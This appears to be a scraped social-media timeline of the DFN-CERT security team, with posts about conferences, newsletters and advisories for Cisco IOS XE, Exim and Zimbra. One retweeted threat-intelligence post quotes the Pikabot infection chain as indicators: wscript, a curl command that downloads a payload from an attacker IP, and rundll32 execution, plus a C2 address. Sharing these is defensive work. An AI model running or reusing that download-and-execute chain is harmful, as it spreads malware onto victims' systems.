Auch wir sehen vermehrt mit #Pikabot infizierte Systeme in unseren #Netflow Daten und informieren betroffenen Einrichtungen unmittelbar. 🤗
#Pikabot - #TA577 - url > .zip > .js > curl > .dll
wscript Cmejuzqk.js
cmd /c cuRl http://216.128.185.]35/mdh/gunne -o %TMp%\XBMr.sct
ruNdll32 %TMP%\XBMr.sct, Crash
One new c2 added today👇full config in github.
c2
188.26.127.4:13785
IOC's
github.com/pr0xylife/Pikabot…
DFN-CERT | @[email protected] retweeted
#CONNECT44 - the latest GÉANT CONNECT Magazine is now out, and it's a jam-packed issue with contributions from the community!
Highlights:
🌐 #OpenScience
⚛️ #Quantum Communications
⚡️ #HPC & applications in R&E
And many more topics!
Read it here 👉 connect.geant.org/connect44
DFN-CERT | @[email protected] retweeted
⚓️Ahoi! Dabei sein & mitfeiern!🎂Wir zelebrieren die 10. DFN-Konferenz „#Datenschutz“ an den #Landungsbrücken🚢in Hamburg @DFNCERT Am Dienstag & Mittwoch, 28. & 29. November 2023 ist es soweit. Meldet Euch gleich an! 👉dfn-cert.de/veranstaltungen/…
DFN-CERT | @[email protected] retweeted
Cisco CVE-2023-20198 exploitation activity: We see over 32.8K Cisco IOS XE IPs compromised with implants based on the check published by Cisco in blog.talosintelligence.com/a…
IP data on implants shared out daily in: shadowserver.org/what-we-do/… tagged 'device-implant'.
#Cisco admins please disable the HTTP Server-Feature on internet facing Cisco IOS XE devices or else (CVE-2023-20198). CVSS 10.0 via Web UI, no updates, exploitation detected.
sec.cloudapps.cisco.com/secu…
DFN-CERT | @[email protected] retweeted
🥳Der neue #DFNInfobriefRecht ist online! Diesen Monat berichtet die Forschungsstelle Recht der @uni_muenster über 👩⚖️Datenschutzrecht im #Metaverse, Kritik an der aktuellen Praxis des #elending & über das neue EU-US Data Privacy Framework. 👉 dfn.de/dfn-infobrief-recht-i…

ALT Infobrief Recht: Symbolbild: Foto zeigt Labyrinth aus beigen Holzklötzchen, darin Kabel, ein Paragraphenzeichen und ein Stapel weiße Pappkarten. Links im Bild: ein Transparenter blauer Kasten, der über ein Drittel des Fotos geht: Text (von oben nach unten): NEU: DFN-Infobrief Recht September 2023. Nachfolgend die Titel der Artikel: 1. Brave New (Data) World? 2. Kommt es nicht auf die inneren Werte an? 3. Das neue Data Privacy Shamework? 4. Kurzbeitrag: Was kratzt mich das?
Season starts early this year: major incidents in the German National Research and Education Network @DFN_de are piling up.
Stay safe everyone and contact [email protected] if in trouble!
The ZDI published some 0Day advisories for #Exim recently at zerodayinitiative.com/adviso…. RCE with CVSS Base Score of 9.8 is among the vulnerabilities, but Exim devs are not so sure ¯\_(ツ)_/¯.
3 of 6 #Exim Patches are available for distribution maintainers, 2x severity 'high' (RCE would be 'critical').
seclists.org/oss-sec/2023/q3…
github.com/Exim/exim/wiki/Ex…
Exim 4.97 is in the works (RC1 available) and should include patches, but no confirmation so far.
lists.exim.org/lurker/messag…
DFN-CERT | @[email protected] retweeted
DFN-CERT | @[email protected] retweeted
Long time no see! 👋
V25 of my family tree 🌳 dedicated to #ransomware is out on @orangecyberdef’s GitHub.
Always happy to receive your reviews so don’t hesitate :))
➡️github.com/cert-orangecyberd…
#CyberSecurity #cti @CERTCyberdef
DFN-CERT | @[email protected] retweeted
There is still time to submit your paper to the Elbsides light conference - send in your talk elbsides.eu/2023/cfp/ until Sept 23rd #wewantyourtalk #infosec #cybersecurity #cfp
DFN-PKI: Version 13 der Zertifizierungsrichtlinie der DFN-PKI im Sicherheitsniveau „Global“ blog.pki.dfn.de/2023/09/vers…
DFN-CERT | @[email protected] retweeted
🏙️Berlin, Berlin, wir fahren nach Berlin – heißt es im Oktober zur #DFN_BT79! Nur noch wenige Woche, dann sehen wir uns wieder bei der 79. DFN-Betriebstagung am 17. & 18.10.2023 zum Austauschen & auf den neusten Stand bringen🫂. Wir freuen uns wie Bolle! dfn.de/event/79-betriebstagu…
PSA: new Zimbra #XSS, Patch will be available 2023-09-13 (aka tomorrow) for
- Daffodil 10.0.4
- 9.0.0 Kelper Patch 36
- 8.8.15 Joule Patch 43
blog.zimbra.com/2023/09/new-…
#Zimbra Patches for 2 #XSS have arrived:
wiki.zimbra.com/wiki/Zimbra_…
wiki.zimbra.com/wiki/Zimbra_…
wiki.zimbra.com/wiki/Zimbra_…
Working with security advisories? Heard of #CSAF? A study from members of @UniFAU tries to identify difficulties in reception and processing of vendor advisories.
Please support the study by taking part in this anonymous 10 minute survey:
user-surveys.cs.fau.de/?r=se…
Thx! 💐
DFN-PKI: Java RA-Oberfläche Version 3.9 blog.pki.dfn.de/2023/08/java…













